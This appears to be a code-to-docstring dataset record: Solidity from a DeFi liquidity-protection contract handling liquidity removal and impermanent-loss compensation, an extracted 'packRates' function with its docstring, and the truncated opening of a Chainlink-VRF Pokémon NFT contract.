ILiquidityPoolConverter converter = ILiquidityPoolConverter(payable(ownedBy(poolAnchor)));
// get the base token
IReserveToken networkToken = IReserveToken(address(_networkToken));
IReserveToken baseToken = converterOtherReserve(converter, networkToken);
// get the reserve balances
(uint256 reserveBalanceBase, uint256 reserveBalanceNetwork) =
converterReserveBalances(converter, baseToken, networkToken);
// get the network token minting limit
uint256 mintingLimit = _settings.networkTokenMintingLimits(poolAnchor);
if (mintingLimit == 0) {
mintingLimit = _settings.defaultNetworkTokenMintingLimit();
}
// get the amount of network tokens already minted for the pool
uint256 networkTokensMinted = _systemStore.networkTokensMinted(poolAnchor);
// get the amount of network tokens which can minted for the pool
uint256 networkTokensCanBeMinted = MathEx.max(mintingLimit, networkTokensMinted) - networkTokensMinted;
// return the maximum amount of base token liquidity that can be single-sided staked in the pool
return networkTokensCanBeMinted.mul(reserveBalanceBase).div(reserveBalanceNetwork);
}
/**
* @dev returns the network-token staking limits of a given pool
*
* @param poolAnchor anchor of the pool
*
* @return maximum amount of network tokens that can be single-side staked in the pool
*/
function networkTokenAvailableSpace(IConverterAnchor poolAnchor) internal view returns (uint256) {
// get the pool token
IDSToken poolToken = IDSToken(address(poolAnchor));
IReserveToken networkToken = IReserveToken(address(_networkToken));
// get the pool token rate
Fraction memory poolRate = poolTokenRate(poolToken, networkToken);
// return the maximum amount of network token liquidity that can be single-sided staked in the pool
return _systemStore.systemBalance(poolToken).mul(poolRate.n).add(poolRate.n).sub(1).div(poolRate.d);
}
/**
* @dev returns the expected/actual amounts the provider will receive for removing liquidity
* it's also possible to provide the remove liquidity time to get an estimation
* for the return at that given point
*
* @param id position id
* @param portion portion of liquidity to remove, in PPM
* @param removeTimestamp time at which the liquidity is removed
*
* @return expected return amount in the reserve token
* @return actual return amount in the reserve token
* @return compensation in the network token
*/
function removeLiquidityReturn(
uint256 id,
uint32 portion,
uint256 removeTimestamp
)
external
view
validPortion(portion)
returns (
uint256,
uint256,
uint256
)
{
Position memory pos = position(id);
// verify input
require(pos.provider != address(0), "ERR_INVALID_ID");
require(removeTimestamp >= pos.timestamp, "ERR_INVALID_TIMESTAMP");
// calculate the portion of the liquidity to remove
if (portion != PPM_RESOLUTION) {
pos.poolAmount = pos.poolAmount.mul(portion) / PPM_RESOLUTION;
pos.reserveAmount = pos.reserveAmount.mul(portion) / PPM_RESOLUTION;
}
// get the various rates between the reserves upon adding liquidity and now
PackedRates memory packedRates = packRates(pos.poolToken, pos.reserveToken, pos.reserveRateN, pos.reserveRateD);
uint256 targetAmount =
removeLiquidityTargetAmount(
pos.poolToken,
pos.reserveToken,
pos.poolAmount,
pos.reserveAmount,
packedRates,
pos.timestamp,
removeTimestamp
);
// for network token, the return amount is identical to the target amount
if (isNetworkToken(pos.reserveToken)) {
return (targetAmount, targetAmount, 0);
}
// handle base token return
// calculate the amount of pool tokens required for liquidation
// note that the amount is doubled since it's not possible to liquidate one reserve only
Fraction memory poolRate = poolTokenRate(pos.poolToken, pos.reserveToken);
uint256 poolAmount = targetAmount.mul(poolRate.d).div(poolRate.n / 2);
// limit the amount of pool tokens by the amount the system/caller holds
uint256 availableBalance = _systemStore.systemBalance(pos.poolToken).add(pos.poolAmount);
poolAmount = poolAmount > availableBalance ? availableBalance : poolAmount;
// calculate the base token amount received by liquidating the pool tokens
// note that the amount is divided by 2 since the pool amount represents both reserves
uint256 baseAmount = poolAmount.mul(poolRate.n / 2).div(poolRate.d);
uint256 networkAmount = networkCompensation(targetAmount, baseAmount, packedRates);
return (targetAmount, baseAmount, networkAmount);
}
/**
* @dev removes protected liquidity from a pool
* also burns governance tokens from the caller if the caller removes network tokens
*
* @param id position id
* @param portion portion of liquidity to remove, in PPM
*/
function removeLiquidity(uint256 id, uint32 portion) external override nonReentrant validPortion(portion) {
removeLiquidity(msg.sender, id, portion);
}
/**
* @dev removes a position from a pool
* also burns governance tokens from the caller if the caller removes network tokens
*
* @param provider liquidity provider
* @param id position id
* @param portion portion of liquidity to remove, in PPM
*/
function removeLiquidity(
address payable provider,
uint256 id,
uint32 portion
) internal {
// remove the position from the store and update the stats and the last removal checkpoint
Position memory removedPos = removePosition(provider, id, portion);
// add the pool tokens to the system
_systemStore.incSystemBalance(removedPos.poolToken, removedPos.poolAmount);
// if removing network token liquidity, burn the governance tokens from the caller. we need to transfer the
// tokens to the contract itself, since only token holders can burn their tokens
if (isNetworkToken(removedPos.reserveToken)) {
_govToken.safeTransferFrom(provider, address(this), removedPos.reserveAmount);
_govTokenGovernance.burn(removedPos.reserveAmount);
}
// get the various rates between the reserves upon adding liquidity and now
PackedRates memory packedRates =
packRates(removedPos.poolToken, removedPos.reserveToken, removedPos.reserveRateN, removedPos.reserveRateD);
// verify rate deviation as early as possible in order to reduce gas-cost for failing transactions
verifyRateDeviation(
packedRates.removeSpotRateN,
packedRates.removeSpotRateD,
packedRates.removeAverageRateN,
packedRates.removeAverageRateD
);
// get the target token amount
uint256 targetAmount =
removeLiquidityTargetAmount(
removedPos.poolToken,
removedPos.reserveToken,
removedPos.poolAmount,
removedPos.reserveAmount,
packedRates,
removedPos.timestamp,
time()
);
// remove network token liquidity
if (isNetworkToken(removedPos.reserveToken)) {
// mint network tokens for the caller and lock them
mintNetworkTokens(address(_wallet), removedPos.poolToken, targetAmount);
lockTokens(provider, targetAmount);
return;
}
// remove base token liquidity
// calculate the amount of pool tokens required for liquidation
// note that the amount is doubled since it's not possible to liquidate one reserve only
Fraction memory poolRate = poolTokenRate(removedPos.poolToken, removedPos.reserveToken);
uint256 poolAmount = targetAmount.mul(poolRate.d).div(poolRate.n / 2);
// limit the amount of pool tokens by the amount the system holds
uint256 systemBalance = _systemStore.systemBalance(removedPos.poolToken);
poolAmount = poolAmount > systemBalance ? systemBalance : poolAmount;
// withdraw the pool tokens from the wallet
IReserveToken poolToken = IReserveToken(address(removedPos.poolToken));
_systemStore.decSystemBalance(removedPos.poolToken, poolAmount);
_wallet.withdrawTokens(poolToken, address(this), poolAmount);
// remove liquidity
removeLiquidity(
removedPos.poolToken,
poolAmount,
removedPos.reserveToken,
IReserveToken(address(_networkToken))
);
// transfer the base tokens to the caller
uint256 baseBalance = removedPos.reserveToken.balanceOf(address(this));
removedPos.reserveToken.safeTransfer(provider, baseBalance);
// compensate the caller with network tokens if still needed
uint256 delta = networkCompensation(targetAmount, baseBalance, packedRates);
if (delta > 0) {
// check if there's enough network token balance, otherwise mint more
uint256 networkBalance = _networkToken.balanceOf(address(this));
if (networkBalance < delta) {
_networkTokenGovernance.mint(address(this), delta - networkBalance);
}
// lock network tokens for the caller
_networkToken.safeTransfer(address(_wallet), delta);
lockTokens(provider, delta);
}
// if the contract still holds network tokens, burn them
uint256 networkBalance = _networkToken.balanceOf(address(this));
if (networkBalance > 0) {
burnNetworkTokens(removedPos.poolToken, networkBalance);
}
}
/**
* @dev returns the amount the provider will receive for removing liquidity
* it's also possible to provide the remove liquidity rate & time to get an estimation
* for the return at that given point
*
* @param poolToken pool token
* @param reserveToken reserve token
* @param poolAmount pool token amount when the liquidity was added
* @param reserveAmount reserve token amount that was added
* @param packedRates see `struct PackedRates`
* @param addTimestamp time at which the liquidity was added
* @param removeTimestamp time at which the liquidity is removed
*
* @return amount received for removing liquidity
*/
function removeLiquidityTargetAmount(
IDSToken poolToken,
IReserveToken reserveToken,
uint256 poolAmount,
uint256 reserveAmount,
PackedRates memory packedRates,
uint256 addTimestamp,
uint256 removeTimestamp
) internal view returns (uint256) {
// get the rate between the pool token and the reserve token
Fraction memory poolRate = poolTokenRate(poolToken, reserveToken);
// get the rate between the reserves upon adding liquidity and now
Fraction memory addSpotRate = Fraction({ n: packedRates.addSpotRateN, d: packedRates.addSpotRateD });
Fraction memory removeSpotRate = Fraction({ n: packedRates.removeSpotRateN, d: packedRates.removeSpotRateD });
Fraction memory removeAverageRate =
Fraction({ n: packedRates.removeAverageRateN, d: packedRates.removeAverageRateD });
// calculate the protected amount of reserve tokens plus accumulated fee before compensation
uint256 total = protectedAmountPlusFee(poolAmount, poolRate, addSpotRate, removeSpotRate);
// calculate the impermanent loss
Fraction memory loss = impLoss(addSpotRate, removeAverageRate);
// calculate the protection level
Fraction memory level = protectionLevel(addTimestamp, removeTimestamp);
// calculate the compensation amount
return compensationAmount(reserveAmount, MathEx.max(reserveAmount, total), loss, level);
}
/**
* @dev transfers a position to a new provider
*
* @param id position id
* @param newProvider the new provider
*
* @return new position id
*/
function transferPosition(uint256 id, address newProvider)
external
override
nonReentrant
validAddress(newProvider)
returns (uint256)
{
return transferPosition(msg.sender, id, newProvider);
}
/**
* @dev transfers a position to a new provider and optionally notifies another contract
*
* @param id position id
* @param newProvider the new provider
* @param callback the callback contract to notify
* @param data custom data provided to the callback
*
* @return new position id
*/
function transferPositionAndNotify(
uint256 id,
address newProvider,
ITransferPositionCallback callback,
bytes calldata data
) external override nonReentrant validAddress(newProvider) validAddress(address(callback)) returns (uint256) {
uint256 newId = transferPosition(msg.sender, id, newProvider);
callback.onTransferPosition(newId, msg.sender, data);
return newId;
}
/**
* @dev transfers a position to a new provider
*
* @param provider the existing provider
* @param id position id
* @param newProvider the new provider
*
* @return new position id
*/
function transferPosition(
address provider,
uint256 id,
address newProvider
) internal returns (uint256) {
// remove the position from the store and update the stats and the last removal checkpoint
Position memory removedPos = removePosition(provider, id, PPM_RESOLUTION);
// add the position to the store, update the stats, and return the new id
return
addPosition(
newProvider,
removedPos.poolToken,
removedPos.reserveToken,
removedPos.poolAmount,
removedPos.reserveAmount,
removedPos.timestamp
);
}
/**
* @dev allows the caller to claim network token balance that is no longer locked
* note that the function can revert if the range is too large
*
* @param startIndex start index in the caller's list of locked balances
* @param endIndex end index in the caller's list of locked balances (exclusive)
*/
function claimBalance(uint256 startIndex, uint256 endIndex) external nonReentrant {
// get the locked balances from the store
(uint256[] memory amounts, uint256[] memory expirationTimes) =
_store.lockedBalanceRange(msg.sender, startIndex, endIndex);
uint256 totalAmount = 0;
uint256 length = amounts.length;
assert(length == expirationTimes.length);
// reverse iteration since we're removing from the list
for (uint256 i = length; i > 0; i--) {
uint256 index = i - 1;
if (expirationTimes[index] > time()) {
continue;
}
// remove the locked balance item
_store.removeLockedBalance(msg.sender, startIndex + index);
totalAmount = totalAmount.add(amounts[index]);
}
if (totalAmount > 0) {
// transfer the tokens to the caller in a single call
_wallet.withdrawTokens(IReserveToken(address(_networkToken)), msg.sender, totalAmount);
}
}
/**
* @dev returns the ROI for removing liquidity in the current state after providing liquidity with the given args
* the function assumes full protection is in effect
* return value is in PPM and can be larger than PPM_RESOLUTION for positive ROI, 1M = 0% ROI
*
* @param poolToken pool token
* @param reserveToken reserve token
* @param reserveAmount reserve token amount that was added
* @param poolRateN rate of 1 pool token in reserve token units when the liquidity was added (numerator)
* @param poolRateD rate of 1 pool token in reserve token units when the liquidity was added (denominator)
* @param reserveRateN rate of 1 reserve token in the other reserve token units when the liquidity was added (numerator)
* @param reserveRateD rate of 1 reserve token in the other reserve token units when the liquidity was added (denominator)
*
* @return ROI in PPM
*/
function poolROI(
IDSToken poolToken,
IReserveToken reserveToken,
uint256 reserveAmount,
uint256 poolRateN,
uint256 poolRateD,
uint256 reserveRateN,
uint256 reserveRateD
) external view returns (uint256) {
// calculate the amount of pool tokens based on the amount of reserve tokens
uint256 poolAmount = reserveAmount.mul(poolRateD).div(poolRateN);
// get the various rates between the reserves upon adding liquidity and now
PackedRates memory packedRates = packRates(poolToken, reserveToken, reserveRateN, reserveRateD);
// get the current return
uint256 protectedReturn =
removeLiquidityTargetAmount(
poolToken,
reserveToken,
poolAmount,
reserveAmount,
packedRates,
time().sub(_settings.maxProtectionDelay()),
time()
);
// calculate the ROI as the ratio between the current fully protected return and the initial amount
return protectedReturn.mul(PPM_RESOLUTION).div(reserveAmount);
}
/**
* @dev adds the position to the store and updates the stats
*
* @param provider the provider
* @param poolToken pool token
* @param reserveToken reserve token
* @param poolAmount amount of pool tokens to protect
* @param reserveAmount amount of reserve tokens to protect
* @param timestamp the timestamp of the position
*
* @return new position id
*/
function addPosition(
address provider,
IDSToken poolToken,
IReserveToken reserveToken,
uint256 poolAmount,
uint256 reserveAmount,
uint256 timestamp
) internal returns (uint256) {
// verify rate deviation as early as possible in order to reduce gas-cost for failing transactions
(Fraction memory spotRate, Fraction memory averageRate) = reserveTokenRates(poolToken, reserveToken);
verifyRateDeviation(spotRate.n, spotRate.d, averageRate.n, averageRate.d);
notifyEventSubscribersOnAddingLiquidity(provider, poolToken, reserveToken, poolAmount, reserveAmount);
_stats.increaseTotalAmounts(provider, poolToken, reserveToken, poolAmount, reserveAmount);
_stats.addProviderPool(provider, poolToken);
return
_store.addProtectedLiquidity(
provider,
poolToken,
reserveToken,
poolAmount,
reserveAmount,
spotRate.n,
spotRate.d,
timestamp
);
}
/**
* @dev removes the position from the store and updates the stats and the last removal checkpoint
*
* @param provider the provider
* @param id position id
* @param portion portion of the position to remove, in PPM
*
* @return a Position struct representing the removed liquidity
*/
function removePosition(
address provider,
uint256 id,
uint32 portion
) private returns (Position memory) {
Position memory pos = providerPosition(id, provider);
// verify that the pool is whitelisted
_poolWhitelisted(pos.poolToken);
// verify that the position is not removed on the same block in which it was added
require(pos.timestamp < time(), "ERR_TOO_EARLY");
if (portion == PPM_RESOLUTION) {
notifyEventSubscribersOnRemovingLiquidity(
id,
pos.provider,
pos.poolToken,
pos.reserveToken,
pos.poolAmount,
pos.reserveAmount
);
// remove the position from the provider
_store.removeProtectedLiquidity(id);
} else {
// remove a portion of the position from the provider
uint256 fullPoolAmount = pos.poolAmount;
uint256 fullReserveAmount = pos.reserveAmount;
pos.poolAmount = pos.poolAmount.mul(portion) / PPM_RESOLUTION;
pos.reserveAmount = pos.reserveAmount.mul(portion) / PPM_RESOLUTION;
notifyEventSubscribersOnRemovingLiquidity(
id,
pos.provider,
pos.poolToken,
pos.reserveToken,
pos.poolAmount,
pos.reserveAmount
);
_store.updateProtectedLiquidityAmounts(
id,
fullPoolAmount - pos.poolAmount,
fullReserveAmount - pos.reserveAmount
);
}
// update the statistics
_stats.decreaseTotalAmounts(pos.provider, pos.poolToken, pos.reserveToken, pos.poolAmount, pos.reserveAmount);
// update last liquidity removal checkpoint
_lastRemoveCheckpointStore.addCheckpoint(provider);
return pos;
}
/**
* @dev locks network tokens for the provider and emits the tokens locked event
*
* @param provider tokens provider
* @param amount amount of network tokens
*/
function lockTokens(address provider, uint256 amount) internal {
uint256 expirationTime = time().add(_settings.lockDuration());
_store.addLockedBalance(provider, amount, expirationTime);
}
/**
* @dev returns the rate of 1 pool token in reserve token units
*
* @param poolToken pool token
* @param reserveToken reserve token
*/
function poolTokenRate(IDSToken poolToken, IReserveToken reserveToken)
internal
view
virtual
returns (Fraction memory)
{
// get the pool token supply
uint256 poolTokenSupply = poolToken.totalSupply();
// get the reserve balance
IConverter converter = IConverter(payable(ownedBy(poolToken)));
uint256 reserveBalance = converter.getConnectorBalance(reserveToken);
// for standard pools, 50% of the pool supply value equals the value of each reserve
return Fraction({ n: reserveBalance.mul(2), d: poolTokenSupply });
}
/**
* @dev returns the spot rate and average rate of 1 reserve token in the other reserve token units
*
* @param poolToken pool token
* @param reserveToken reserve token
*
* @return spot rate
* @return average rate
*/
function reserveTokenRates(IDSToken poolToken, IReserveToken reserveToken)
internal
view
returns (Fraction memory, Fraction memory)
{
ILiquidityPoolConverter converter = ILiquidityPoolConverter(payable(ownedBy(poolToken)));
IReserveToken otherReserve = converterOtherReserve(converter, reserveToken);
(uint256 spotRateN, uint256 spotRateD) = converterReserveBalances(converter, otherReserve, reserveToken);
(uint256 averageRateN, uint256 averageRateD) = converter.recentAverageRate(reserveToken);
return (Fraction({ n: spotRateN, d: spotRateD }), Fraction({ n: averageRateN, d: averageRateD }));
}
/**
* @dev returns the various rates between the reserves
*
* @param poolToken pool token
* @param reserveToken reserve token
* @param addSpotRateN add spot rate numerator
* @param addSpotRateD add spot rate denominator
*
* @return see `struct PackedRates`
*/
function packRates(
IDSToken poolToken,
IReserveToken reserveToken,
uint256 addSpotRateN,
uint256 addSpotRateD
) internal view returns (PackedRates memory) {
(Fraction memory removeSpotRate, Fraction memory removeAverageRate) =
reserveTokenRates(poolToken, reserveToken);
assert(
addSpotRateN <= MAX_UINT128 &&
addSpotRateD <= MAX_UINT128 &&
removeSpotRate.n <= MAX_UINT128 &&
removeSpotRate.d <= MAX_UINT128 &&
removeAverageRate.n <= MAX_UINT128 &&
removeAverageRate.d <= MAX_UINT128
);
return
PackedRates({
addSpotRateN: uint128(addSpotRateN),
addSpotRateD: uint128(addSpotRateD),
removeSpotRateN: uint128(removeSpotRate.n),
removeSpotRateD: uint128(removeSpotRate.d),
removeAverageRateN: uint128(removeAverageRate.n),
removeAverageRateD: uint128(removeAverageRate.d)
});
}
/**
* @dev verifies that the deviation of the average rate from the spot rate is within the permitted range
* for example, if the maximum permitted deviation is 5%, then verify `95/100 <= average/spot <= 100/95`
*
* @param spotRateN spot rate numerator
* @param spotRateD spot rate denominator
* @param averageRateN average rate numerator
* @param averageRateD average rate denominator
*/
function verifyRateDeviation(
uint256 spotRateN,
uint256 spotRateD,
uint256 averageRateN,
uint256 averageRateD
) internal view {
uint256 ppmDelta = PPM_RESOLUTION - _settings.averageRateMaxDeviation();
uint256 min = spotRateN.mul(averageRateD).mul(ppmDelta).mul(ppmDelta);
uint256 mid = spotRateD.mul(averageRateN).mul(ppmDelta).mul(PPM_RESOLUTION);
uint256 max = spotRateN.mul(averageRateD).mul(PPM_RESOLUTION).mul(PPM_RESOLUTION);
require(min <= mid && mid <= max, "ERR_INVALID_RATE");
}
/**
* @dev utility to add liquidity to a converter
*
* @param converter converter
* @param reserveToken1 reserve token 1
* @param reserveToken2 reserve token 2
* @param reserveAmount1 reserve amount 1
* @param reserveAmount2 reserve amount 2
* @param value ETH amount to add
*/
function addLiquidity(
ILiquidityPoolConverter converter,
IReserveToken reserveToken1,
IReserveToken reserveToken2,
uint256 reserveAmount1,
uint256 reserveAmount2,
uint256 value
) internal {
IReserveToken[] memory reserveTokens = new IReserveToken[](2);
uint256[] memory amounts = new uint256[](2);
reserveTokens[0] = reserveToken1;
reserveTokens[1] = reserveToken2;
amounts[0] = reserveAmount1;
amounts[1] = reserveAmount2;
converter.addLiquidity{ value: value }(reserveTokens, amounts, 1);
}
/**
* @dev utility to remove liquidity from a converter
*
* @param poolToken pool token of the converter
* @param poolAmount amount of pool tokens to remove
* @param reserveToken1 reserve token 1
* @param reserveToken2 reserve token 2
*/
function removeLiquidity(
IDSToken poolToken,
uint256 poolAmount,
IReserveToken reserveToken1,
IReserveToken reserveToken2
) internal {
ILiquidityPoolConverter converter = ILiquidityPoolConverter(payable(ownedBy(poolToken)));
IReserveToken[] memory reserveTokens = new IReserveToken[](2);
uint256[] memory minReturns = new uint256[](2);
reserveTokens[0] = reserveToken1;
reserveTokens[1] = reserveToken2;
minReturns[0] = 1;
minReturns[1] = 1;
converter.removeLiquidity(poolAmount, reserveTokens, minReturns);
}
/**
* @dev returns a position from the store
*
* @param id position id
*
* @return a position
*/
function position(uint256 id) internal view returns (Position memory) {
Position memory pos;
(
pos.provider,
pos.poolToken,
pos.reserveToken,
pos.poolAmount,
pos.reserveAmount,
pos.reserveRateN,
pos.reserveRateD,
pos.timestamp
) = _store.protectedLiquidity(id);
return pos;
}
/**
* @dev returns a position from the store
*
* @param id position id
* @param provider authorized provider
*
* @return a position
*/
function providerPosition(uint256 id, address provider) internal view returns (Position memory) {
Position memory pos = position(id);
require(pos.provider == provider, "ERR_ACCESS_DENIED");
return pos;
}
/**
* @dev returns the protected amount of reserve tokens plus accumulated fee before compensation
*
* @param poolAmount pool token amount when the liquidity was added
* @param poolRate rate of 1 pool token in the related reserve token units
* @param addRate rate of 1 reserve token in the other reserve token units when the liquidity was added
* @param removeRate rate of 1 reserve token in the other reserve token units when the liquidity is removed
*
* @return protected amount of reserve tokens plus accumulated fee = sqrt(removeRate / addRate) * poolRate * poolAmount
*/
function protectedAmountPlusFee(
uint256 poolAmount,
Fraction memory poolRate,
Fraction memory addRate,
Fraction memory removeRate
) internal pure returns (uint256) {
uint256 n = MathEx.ceilSqrt(addRate.d.mul(removeRate.n)).mul(poolRate.n);
uint256 d = MathEx.floorSqrt(addRate.n.mul(removeRate.d)).mul(poolRate.d);
uint256 x = n * poolAmount;
if (x / n == poolAmount) {
return x / d;
}
(uint256 hi, uint256 lo) = n > poolAmount ? (n, poolAmount) : (poolAmount, n);
(uint256 p, uint256 q) = MathEx.reducedRatio(hi, d, MAX_UINT256 / lo);
uint256 min = (hi / d).mul(lo);
if (q > 0) {
return MathEx.max(min, (p * lo) / q);
}
return min;
}
/**
* @dev returns the impermanent loss incurred due to the change in rates between the reserve tokens
*
* @param prevRate previous rate between the reserves
* @param newRate new rate between the reserves
*
* @return impermanent loss (as a ratio)
*/
function impLoss(Fraction memory prevRate, Fraction memory newRate) internal pure returns (Fraction memory) {
uint256 ratioN = newRate.n.mul(prevRate.d);
uint256 ratioD = newRate.d.mul(prevRate.n);
uint256 prod = ratioN * ratioD;
uint256 root =
prod / ratioN == ratioD ? MathEx.floorSqrt(prod) : MathEx.floorSqrt(ratioN) * MathEx.floorSqrt(ratioD);
uint256 sum = ratioN.add(ratioD);
// the arithmetic below is safe because `x + y >= sqrt(x * y) * 2`
if (sum % 2 == 0) {
sum /= 2;
return Fraction({ n: sum - root, d: sum });
}
return Fraction({ n: sum - root * 2, d: sum });
}
/**
* @dev returns the protection level based on the timestamp and protection delays
*
* @param addTimestamp time at which the liquidity was added
* @param removeTimestamp time at which the liquidity is removed
*
* @return protection level (as a ratio)
*/
function protectionLevel(uint256 addTimestamp, uint256 removeTimestamp) internal view returns (Fraction memory) {
uint256 timeElapsed = removeTimestamp.sub(addTimestamp);
uint256 minProtectionDelay = _settings.minProtectionDelay();
uint256 maxProtectionDelay = _settings.maxProtectionDelay();
if (timeElapsed < minProtectionDelay) {
return Fraction({ n: 0, d: 1 });
}
if (timeElapsed >= maxProtectionDelay) {
return Fraction({ n: 1, d: 1 });
}
return Fraction({ n: timeElapsed, d: maxProtectionDelay });
}
/**
* @dev returns the compensation amount based on the impermanent loss and the protection level
*
* @param amount protected amount in units of the reserve token
* @param total amount plus fee in units of the reserve token
* @param loss protection level (as a ratio between 0 and 1)
* @param level impermanent loss (as a ratio between 0 and 1)
*
* @return compensation amount
*/
function compensationAmount(
uint256 amount,
uint256 total,
Fraction memory loss,
Fraction memory level
) internal pure returns (uint256) {
uint256 levelN = level.n.mul(amount);
uint256 levelD = level.d;
uint256 maxVal = MathEx.max(MathEx.max(levelN, levelD), total);
(uint256 lossN, uint256 lossD) = MathEx.reducedRatio(loss.n, loss.d, MAX_UINT256 / maxVal);
return total.mul(lossD.sub(lossN)).div(lossD).add(lossN.mul(levelN).div(lossD.mul(levelD)));
}
function networkCompensation(
uint256 targetAmount,
uint256 baseAmount,
PackedRates memory packedRates
) internal view returns (uint256) {
if (targetAmount <= baseAmount) {
return 0;
}
// calculate the delta in network tokens
uint256 delta =
(targetAmount - baseAmount).mul(packedRates.removeAverageRateN).div(packedRates.removeAverageRateD);
// the delta might be very small due to precision loss
// in which case no compensation will take place (gas optimization)
if (delta >= _settings.minNetworkCompensation()) {
return delta;
}
return 0;
}
// utility to mint network tokens
function mintNetworkTokens(
address owner,
IConverterAnchor poolAnchor,
uint256 amount
) private {
_systemStore.incNetworkTokensMinted(poolAnchor, amount);
_networkTokenGovernance.mint(owner, amount);
}
// utility to burn network tokens
function burnNetworkTokens(IConverterAnchor poolAnchor, uint256 amount) private {
_systemStore.decNetworkTokensMinted(poolAnchor, amount);
_networkTokenGovernance.burn(amount);
}
/**
* @dev notify event subscribers on adding liquidity
*
* @param provider liquidity provider
* @param poolToken pool token
* @param reserveToken reserve token
* @param poolAmount amount of pool tokens to protect
* @param reserveAmount amount of reserve tokens to protect
*/
function notifyEventSubscribersOnAddingLiquidity(
address provider,
IDSToken poolToken,
IReserveToken reserveToken,
uint256 poolAmount,
uint256 reserveAmount
) private {
address[] memory subscribers = _settings.subscribers();
uint256 length = subscribers.length;
for (uint256 i = 0; i < length; i++) {
ILiquidityProvisionEventsSubscriber(subscribers[i]).onAddingLiquidity(
provider,
poolToken,
reserveToken,
poolAmount,
reserveAmount
);
}
}
/**
* @dev notify event subscribers on removing liquidity
*
* @param id position id
* @param provider liquidity provider
* @param poolToken pool token
* @param reserveToken reserve token
* @param poolAmount amount of pool tokens to protect
* @param reserveAmount amount of reserve tokens to protect
*/
function notifyEventSubscribersOnRemovingLiquidity(
uint256 id,
address provider,
IDSToken poolToken,
IReserveToken reserveToken,
uint256 poolAmount,
uint256 reserveAmount
) private {
address[] memory subscribers = _settings.subscribers();
uint256 length = subscribers.length;
for (uint256 i = 0; i < length; i++) {
ILiquidityProvisionEventsSubscriber(subscribers[i]).onRemovingLiquidity(
id,
provider,
poolToken,
reserveToken,
poolAmount,
reserveAmount
);
}
}
// utility to get the reserve balances
function converterReserveBalances(
IConverter converter,
IReserveToken reserveToken1,
IReserveToken reserveToken2
) private view returns (uint256, uint256) {
return (converter.getConnectorBalance(reserveToken1), converter.getConnectorBalance(reserveToken2));
}
// utility to get the other reserve
function converterOtherReserve(IConverter converter, IReserveToken thisReserve)
private
view
returns (IReserveToken)
{
IReserveToken otherReserve = converter.connectorTokens(0);
return otherReserve != thisReserve ? otherReserve : converter.connectorTokens(1);
}
// utility to get the owner
function ownedBy(IOwned owned) private view returns (address) {
return owned.owner();
}
/**
* @dev returns whether the provided reserve token is the network token
*
* @return whether the provided reserve token is the network token
*/
function isNetworkToken(IReserveToken reserveToken) private view returns (bool) {
return address(reserveToken) == address(_networkToken);
}
}
|
returns the various rates between the reserves poolToken pool token reserveToken reserve token addSpotRateN add spot rate numerator addSpotRateD add spot rate denominator return see `struct PackedRates`/
|
function packRates(
IDSToken poolToken,
IReserveToken reserveToken,
uint256 addSpotRateN,
uint256 addSpotRateD
) internal view returns (PackedRates memory) {
(Fraction memory removeSpotRate, Fraction memory removeAverageRate) =
reserveTokenRates(poolToken, reserveToken);
assert(
addSpotRateN <= MAX_UINT128 &&
addSpotRateD <= MAX_UINT128 &&
removeSpotRate.n <= MAX_UINT128 &&
removeSpotRate.d <= MAX_UINT128 &&
removeAverageRate.n <= MAX_UINT128 &&
removeAverageRate.d <= MAX_UINT128
);
return
PackedRates({
addSpotRateN: uint128(addSpotRateN),
addSpotRateD: uint128(addSpotRateD),
removeSpotRateN: uint128(removeSpotRate.n),
removeSpotRateD: uint128(removeSpotRate.d),
removeAverageRateN: uint128(removeAverageRate.n),
removeAverageRateD: uint128(removeAverageRate.d)
});
}
| 1,086,409
|
pragma solidity 0.6.6;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@chainlink/contracts/src/v0.6/VRFConsumerBase.sol";
import "./PokemonBaseStatData.sol";
contract Pokemon is ERC721, VRFConsumerBase, Ownable, PokemonBaseStatData {
using SafeMathChainlink for uint256;
mapping(bytes32 => address) public requestIdToSender;
mapping(bytes32 => uint256) public requestIdToTokenId;
event requestedPokemon(bytes32 indexed requestId);
event PokemonCreated(uint256 indexed tokenId);
bytes32 internal keyHash;
uint256 internal link_fee;
uint256 public tokenCounter;
mapping(uint256 => PokemonBaseStats) public tokenIdToBattleStats;
mapping(uint256 => PokemonBaseStats) public tokenIdToEvs;
mapping(uint256 => PokemonBaseStats) public tokenIdToIvs;
UniquePokemon[] public uniquePokemon;
string[] public natures;
mapping(string => string) public pokemonNameToImageURI;
// mapping(uint256 => moves) public tokenIdToMoves;
mapping(uint256 => uint256) public tokenIdToRNGNumber;
// struct moves {
// string move1;
// string move2;
// string move3;
// string move4;
// }
struct UniquePokemon {
string nickname;
// eh, solidity gonna get better at this
string item;
bool shiny;
string ability;
string nature;
uint256 level;
}
constructor(address _VRFCoordinator, address _LinkToken, bytes32 _keyhash, uint256 _link_fee)
public
VRFConsumerBase(_VRFCoordinator, _LinkToken)
ERC721("Pokémon", "PKMON")
{
tokenCounter = 0;
keyHash = _keyhash;
link_fee = _link_fee;
natures = ["Hardy", "Lonely", "Brave", "Adamant", "Naughty", "Bold", "Docile", "Relaxed", "Impish", "Lax", "Timid", "Hasty", "Serious", "Jolly", "Naive", "Modest", "Mild", "Quiet", "Bashful", "Rash", "Calm", "Gentle", "Sassy", "Careful", "Quirky"];
}
function createRandomPokemon(uint256 userProvidedSeed)
public returns (bytes32){
bytes32 requestId = requestRandomness(keyHash, link_fee, userProvidedSeed);
requestIdToSender[requestId] = msg.sender;
emit requestedPokemon(requestId);
}
// function createSpecificPokemon(uint256 userProvidedSeed, string memory pokemonName) onlyOwner
// public returns (bytes32){
// bytes32 requestId = requestRandomness(keyHash, link_fee, userProvidedSeed);
// requestIdToSender[requestId] = msg.sender;
// emit requestedPokemon(requestId);
// }
function setIvs(uint256[] memory RNGNumbers, string memory pokemonName, uint256 tokenId) internal {
(string memory type1, string memory type2) = getTypeFromName(pokemonName);
PokemonBaseStats memory baseStats = pokemonNameToPokemonBaseStats[pokemonName];
uint256 hpIv = (RNGNumbers[1] % 31) + 1;
uint256 atkIv = (RNGNumbers[2] % 31) + 1;
uint256 defIv = (RNGNumbers[3] % 31) + 1;
uint256 spaIv = (RNGNumbers[4] % 31) + 1;
uint256 spdIv = (RNGNumbers[5] % 31) + 1;
uint256 speIv = (RNGNumbers[6] % 31) + 1;
PokemonBaseStats memory ivs = PokemonBaseStats({hp: hpIv, def: defIv, atk: atkIv, spa: spaIv, spd: spdIv, spe: speIv, type1: type1, type2: type2, number: baseStats.number, pokemonName: pokemonName});
